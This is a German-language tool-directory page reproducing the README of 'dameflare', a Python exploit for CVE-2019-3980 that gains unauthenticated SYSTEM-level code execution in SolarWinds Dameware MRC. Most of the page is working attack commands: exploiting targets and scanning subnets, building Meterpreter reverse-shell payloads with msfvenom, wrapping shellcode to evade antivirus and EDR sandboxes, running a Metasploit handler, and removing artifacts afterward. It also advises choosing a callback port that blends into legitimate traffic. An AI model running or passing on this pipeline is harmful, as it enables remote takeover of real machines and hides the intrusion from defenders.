Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
dameflare — Python-3-Exploit für CVE-2019-3980. Nicht authentifizierte RCE als SYSTEM über SolarWinds Dameware MRC Smartcard-Authentifizierungs-Bypass. | Kitploit
Tools/GitHubGitHub/boydhacks/dameflare
Payload-GenerierungSchwachstellenanalyseExploitationIDS/IPS-UmgehungPenetrationstestsCommand and ControlRed TeamingRemote-Access-ToolShellcode-Generierung
GitHubboydhacks/dameflare

dameflare

Python-3-Exploit für CVE-2019-3980. Nicht authentifizierte RCE als SYSTEM über SolarWinds Dameware MRC Smartcard-Authentifizierungs-Bypass.

3151vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
Teilen

DameFlare

DameFlare

Python CVE CVSS Platform

Unauthenticated RCE über Smart-Card-Authentifizierungs-Bypass in SolarWinds Dameware MRC

CVE-2019-3980 | CVSS 9.8 Kritisch | TCP/6129
Ursprüngliche Forschung und POC: Tenable, Inc. (TRA-2019-43)
Python-3-Tool: David Boyd (@Fir3d0g)


Funktionsweise

Dameware MRC stellt einen Fernwartungsdienst (DWRCS.exe) auf TCP/6129 bereit. Während des Smart-Card-Authentifizierungs-Handshakes akzeptiert der Server eine angreiferkontrollierte Datei als Smart-Card-Treiber-Installer (dwDrvInst.exe) und führt diese als aus – ohne dass eine Authentifizierung erforderlich ist.

SYSTEM

DameFlare implementiert den vollständigen Protokoll-Handshake (Versionsaushandlung → AES-Schlüsselableitung → Diffie-Hellman-Schlüsselaustausch → RSA-Signatur → Treiber-Upload), um eine beliebige Nutzlast zu übermitteln und eine unauthentifizierte Remote-Codeausführung zu erreichen.


Betroffene Versionen

ProduktVerwundbarBehoben
Dameware MRC 12.0.xAlle BuildsHotfix 1
Dameware MRC 12.1.xAlle BuildsHotfix 3

Installation

root@kitploit:~
git clone https://github.com/boydhacks/dameflare
cd dameflare
pip3 install -r requirements.txt
python3 dameflare.py -h

Verwendung

Einzelnes Ziel

root@kitploit:~
python3 dameflare.py -t 192.168.1.50 -e payload.exe
python3 dameflare.py -t 192.168.1.50 -e payload.exe -v
python3 dameflare.py -t 10.0.0.100 -e payload.exe -p 6130 -T 15

Mehrere Ziele

root@kitploit:~
python3 dameflare.py -f vuln_hosts.txt -e payload.exe
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5

Scan-Modus

root@kitploit:~
python3 dameflare.py --scan -t 192.168.1.0/24
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt --scan-threads 50
python3 dameflare.py --scan -f port6129.txt -o vuln_hosts.txt

Scan- und Exploit-Pipeline

root@kitploit:~
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5

Bereinigung

Entfernen Sie das dwDrvInst.exe-Artefakt nach der Ausnutzung vom Zielsystem:

root@kitploit:~
python3 dameflare.py -t 192.168.1.50 --cleanup
python3 dameflare.py -f vuln_hosts.txt --cleanup

Erfordert msfvenom im PATH. Lädt eine selbstlöschende EXE hoch, die dwDrvInst.exe und sich selbst nach einer kurzen Verzögerung entfernt.

Alternativ können Sie bei vorhandenen Zugangsdaten etwas wie NXC verwenden:

root@kitploit:~
nxc smb <target> -u <user> -p <pass> -x "del /f /q C:\Windows\Temp\dwDrvInst.exe"

Beispiel für die Payload-Erzeugung (am besten mit etwas wie ek47 umhüllen)

Roher Shellcode

root@kitploit:~
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f raw -o payload.bin

32-Bit-EXE

root@kitploit:~
msfvenom -p windows/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x86.exe

64-Bit-EXE

root@kitploit:~
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x64.exe

Payload-Evasion (ek47)

Rohen Shellcode mit Environmental Keying umhüllen, um AV-/EDR-Sandbox-Analysen zu umgehen. Die Nutzlast wird nur auf einem Rechner entschlüsselt und ausgeführt, auf dem die Schlüssel übereinstimmen. Großer Dank an Kevin Clark (@GuhnooPlusLinux) für seine großartige Arbeit!

https://gitlab.com/KevinJClark/ek47

root@kitploit:~
# Schlüssel auf Domain und Hostname (kurze Namen verwenden, nicht FQDN)
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe

# Nur Schlüssel auf Domain
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -o payload_wrapped.exe

# Nur statischer Schlüssel (nützlich zum Testen)
python3 ek47.py srdi-shellcode -p payload.bin -s 5 -o payload_wrapped.exe

# Alternative Injektionsmethoden, falls srdi-shellcode erkannt wird
python3 ek47.py dinvoke-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
python3 ek47.py noapi-shellcode   -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe

Vollständige Pipeline (Beispiel)

root@kitploit:~
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=6129 EXITFUNC=thread -f raw -o payload.bin
python3 ek47.py srdi-shellcode -p payload.bin -d CONTOSO -c WS01 -o payload_wrapped.exe
python3 dameflare.py -t <target> -e payload_wrapped.exe

Metasploit-Handler

root@kitploit:~
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; set LHOST <ip>; set LPORT 443; set ExitOnSession false; set StagerVerifySSLCert false; set EXITFUNC thread; exploit -j"

Hinweis: Der Payload-Name muss in msfvenom und im Handler exakt übereinstimmen:

  • Stageless: windows/x64/meterpreter_reverse_https (Unterstrich)
  • Staged: windows/x64/meterpreter/reverse_https (Slash)

Tipp: In Dameware-Umgebungen ist Port 6129 oft ausgehend erlaubt und fügt sich unauffällig in den legitimen DWRCS-Verkehr ein. Falls 443 blockiert oder von einem Proxy überwacht wird, versuchen Sie LPORT=6129, da das Zielnetzwerk vermutlich darauf ausgelegt ist, diesen Port zuzulassen.


Haftungsausschluss

Dieses Tool ist ausschließlich für den Einsatz in autorisierten Penetrationstests und Red-Team-Operationen vorgesehen. Der Autor übernimmt keine Haftung für unbefugte oder unrechtmäßige Nutzung.

Tool herunterladen